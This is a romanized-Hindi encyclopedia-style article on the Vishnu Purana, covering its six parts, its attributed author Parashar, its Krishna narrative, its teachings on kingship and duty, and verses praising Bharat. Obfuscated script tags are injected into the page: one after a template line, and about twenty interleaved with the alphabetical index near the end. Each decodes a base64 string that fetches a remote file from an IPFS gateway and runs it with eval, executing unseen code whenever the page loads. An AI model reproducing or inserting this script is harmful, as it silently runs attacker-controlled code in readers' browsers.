विष्णु पुराण

[[chitr:Cover-Vishnu-Purana.jpg|thumb|vishnu puran, gitapres gorakhapur ka avaran prishth]] atharah mahapuranoan mean 'vishnu puran' ka akar sabase chhota hai. kintu isaka mahattv prachin samay se hi bahut adhik mana gaya hai. sanskrit vidvanoan ki drishti mean isaki bhasha ooanche darje ki, sahityik, kavyamay gunoan se sampann aur prasadamayi mani gee hai. is puran mean bhoomandal ka svaroop, jyotish, rajavanshoan ka itihas, krishna charitr adi vishayoan ko b de tarkik dhang se prastut kiya gaya hai. khandan-mandan ki pravritti se yah puran mukt hai. dharmik tattvoan ka saral aur subodh shaili mean varnan kiya gaya hai. [[chitr:God-Vishnu.jpg|thumb|200px|bhagavan vishnu
God Vishnu]]

sat hazar shlok

is puran mean is samay sat hazar shlok upalabdh haian. vaise kee granthoan mean isaki shlok sankhya teees hazar bataee jati hai. yah puran chhah bhagoan mean vibhakt hai. [[chitr:Holika-Prahlad-1.jpg|thumb|prahlad ko god mean bithakar baithi holika|left]] pahale bhag mean sarg athava srishti ki utpatti, kal ka svaroop aur dhruv, prithu tatha prahlad ki kathaean di gee haian. doosare bhag mean lokoan ke svaroop, prithvi ke nau khandoan, grah-nakshatr, jyotish adi ka varnan hai. tisare bhag mean manvantar, vedoan ki shakhaoan ka vistar, grihasth dharm aur shraddh-vidhi adi ka ullekh hai. chauthe bhag mean soory vansh aur chandr vansh ke rajagan tatha unaki vanshavaliyoan ka varnan hai. paanchavean bhag mean shrikrishna charitr aur unaki lilaoan ka varnan hai jabaki chhathe bhag mean pralay tatha moksh ka ullekh hai.

REDIRECTsaancha:inhean bhi dekhean<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

'vishnu puran' mean puranoan ke paanchoan lakshanoan athava varny-vishayoan-sarg, pratisarg, vansh, manvantar aur vanshanucharit ka varnan hai. sabhi vishayoan ka sanupatik ullekh kiya gaya hai. bich-bich mean adhyatm-vivechan, kalikarm aur sadachar adi par bhi prakash dala gaya hai.

rachanakar parashar rrishi

is puran ke rachanakar parashar rrishi the. ye maharshi vasishth ke pautr the. is puran mean prithu, dhruv aur prahlad ke prasang atyant rochak haian. 'prithu' ke varnan mean dharati ko samatal karake krishi karm karane ki prerana di gee hai. krishi-vyavastha ko chust-duroost karane par zor diya gaya hai. ghar-parivar, gram, nagar, durg adi ki nianv dalakar parivaroan ko suraksha pradan karane ki bat kahi gee hai. isi karan dharati ko 'prithvi' nam diya gaya . 'dhruv' ke akhyan mean saansarik sukh, aishvary, dhan-sampatti adi ko kshan bhangur arthath nashavan samajhakar atmik utkarsh ki prerana di gee hai. prahlad ke prakaran mean paropakar tatha sankat ke samay bhi siddhaantoan aur adarshoan ko n tyagane ki bat kahi gee hai.

krishna charitr ka varnan

'vishnu puran' mean mukhy roop se krishna charitr ka varnan hai, yadyapi sankshep mean ram katha ka ullekh bhi prapt hota hai. is puran mean krishna ke samaj sevi, praja premi, lok ranjak tatha lok hitay svaroop ko prakat karate hue unhean mahamanav ki sanjna di gee hai. [[chitr:Radha-Krishna-Janmbhumi-Mathura-1.jpg|radha-krishna, krishna janmabhoomi, mathura
Radha - Krishna, Krishna's Birth Place, Mathura|thumb|left]] shrikrishna ne praja ko sangathan-shakti ka mahattv samajhaya aur anyay ka pratikar karane ki prerana di. adharm ke viruddh dharm-shakti ka paracham laharaya. 'mahabharat' mean kauravoan ka vinash aur 'kaliya dahan' mean nagoan ka sanhar unaki lokopakari chhavi ko prastut karata hai. [[chitr:Ramayana.jpg|thumb|ram,lakshman aur sita
Ram, Laxman and Sita|thumb]] krishna ke jivan ki lokopayogi ghatanaoan ko alaukik roop dena us mahamanav ke prati bhakti-bhavana ki pratik hai. is puran mean krishna charitr ke sath-sath bhakti aur vedant ke uttam siddhantoan ka bhi pratipadan hua hai. yahaan 'atma' ko janm-mrityu se rahit, nirgun aur anant bataya gaya hai. samast praniyoan mean usi atma ka nivas hai. eeshvar ka bhakt vahi hota hai jisaka chitt shatru aur mitr aur mitr mean samabhav rakhata hai, doosaroan ko kasht nahian deta, kabhi vyarth ka garv nahian karata aur sabhi mean eeshvar ka vas samajhata hai. vah sadaiv saty ka palan karata hai aur kabhi asaty nahian bolata .

rajavanshoan ka vrittant

is puran mean prachin kal ke rajavanshoan ka vrittant likhate hue kaliyugi rajaoan ko chetavani di gee hai ki sadachar se hi praja ka man jita ja sakata hai, papamay acharan se nahian. jo sada saty ka palan karata hai, sabake prati maitri bhav rakhata hai aur dukh-sukh mean sahayak hota hai; vahi raja shreshth hota hai. raja ka dharm praja ka hit sandhan aur raksha karana hota hai. jo raja apane svarth mean doobakar praja ki upeksha karata hai aur sada bhog-vilas mean dooba rahata hai, usaka vinash samay se poorv hi ho jata hai.

karttavyoan ka palan

is puran mean striyoan, sadhuoan aur shoodroan ko shreshth mana gaya hai. jo stri apane tan-man se pati ki seva tatha sukh ki kamana karati hai, use koee any karmakand kie bina hi sadgati prapt ho jati hai. isi prakar shoodr bhi apane karttavyoan ka palan karate hue vah sab prapt kar lete haian, jo brahmanoan ko vibhinn prakar ke karmakand aur tap adi se prapt hota hai. kaha gaya hai-

shoodroshch dvijashushrushatatparaidvijasattama: .
tatha dbhistribhiranayasatpatishushruyaiv hi॥^[1]

arthat shoodr brahmanoan ki seva se aur striyaan prati ki seva se hi dharm ki prapti kar leti haian.

adhyatmik charcha

'vishnu puran' ke antim tin adhyayoan mean adhyatmik charcha karate hue trividh tap, paramarth aur brahmayog ka jnan karaya gaya hai. manav-jivan ko sarvashreshth mana gaya hai. isake lie devata bhi lalayit rahate haian. jo manushy maya-moh ke jal se mukt hokar karttavy palan karata hai, use hi is jivan ka labh prapt hota hai. 'nishkam karm' aur 'jnan marg' ka upadesh bhi is puran mean diya gaya hai. laukik karm karate hue bhi dharm palan kiya ja sakata hai. 'karm marg' aur 'dharm marg'- donoan ka hi shreshth mana gaya hai. karttavy karate hue vyakti chahe ghar mean rahe ya van mean, vah eeshvar ko avashy prapt kar leta hai. [[chitr:Mahabharat-Map.jpg|mahabharatakalin bharat ka manachitr|thumb]]

bharat

bharatavarsh ko karmabhoomi kahakar usaki mahima ka suandar bakhan karate hue puranakar kahata hai-

it: svargashch mokshashch madhyan chantashch gamyate.
n khalvanyatr martyanaan karmabhoomau vidhiyate ॥^[2]

arthat yahian se svarg, moksh, antariksh athava patal lok paya ja sakata hai. is desh ke atirikt kisi any bhoomi par manushyoan par manushyoan ke lie karm ka koee vidhan nahian hai.

is karmabhoomi ki bhaugolik rachana ke vishay mean kaha gaya hai-

uttaran yatsamudrasy himadreshchaiv dakshinamh . varsh tadbharatan nam bharati yatr santati ॥^[3]

arthat samudr kean uttar mean aur himalay ke dakshin mean jo pavitr bhoobhag sthit hai, usaka nam bharatavarsh hai. usaki santati 'bharatiy' kahalati hai.

is bharat bhoomi ki vandana ke lie vishnu puran ka yah pad vikhyat hai-

gayanti deva: kil gitakani dhanyastu te bharat bhoomibhage.
svargapavargaspadamargabhoote bhavanti bhooy: purusha: suratvath.
karmand sankalpit tavatphalani sannyasy vishnau paramatmabhoote.
avapy taan karmamahimanante tasmianllayan ye tvamala: prayanti ॥^[4]

arthat devagan nirantar yahi gan karate haian ki jinhoanne svarg aur moksh ke margh par chalane ke lie bharatabhoomi mean janm liya hai, ve manushy ham devataoan ki apeksha adhik dhany tatha bhagyashali haian. jo log is karmabhoomi mean janm lekar samast akaankshaoan se mukt apane karm paramatma svaroop shri vishnu ko arpan kar dete haian, ve pap rahit hokar nirmal hriday se us anant paramatm shakti mean lin ho jate haian. aise log dhany hote haian.

'vishnu puran' mean kali yug mean bhi sadacharan par bal diya gaya hai. isaka akar chhota avashy hai, parantu manaviy hit ki drishti se yah puran atyant lokapriy aur mahattvapoorn hai.

tika tippani aur sandarbh

↑ vishnu puran 6/35
↑ vishnu puran 2/3/5
↑ vishnu puran 2/3/1
↑ vishnu puran 2/3/24-25

sanbandhit lekh

shrutiyaan

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[1] vishnu puran 6/35

[2] vishnu puran 2/3/5

[3] vishnu puran 2/3/1

[4] vishnu puran 2/3/24-25

[1]

[2]

[3]

[4]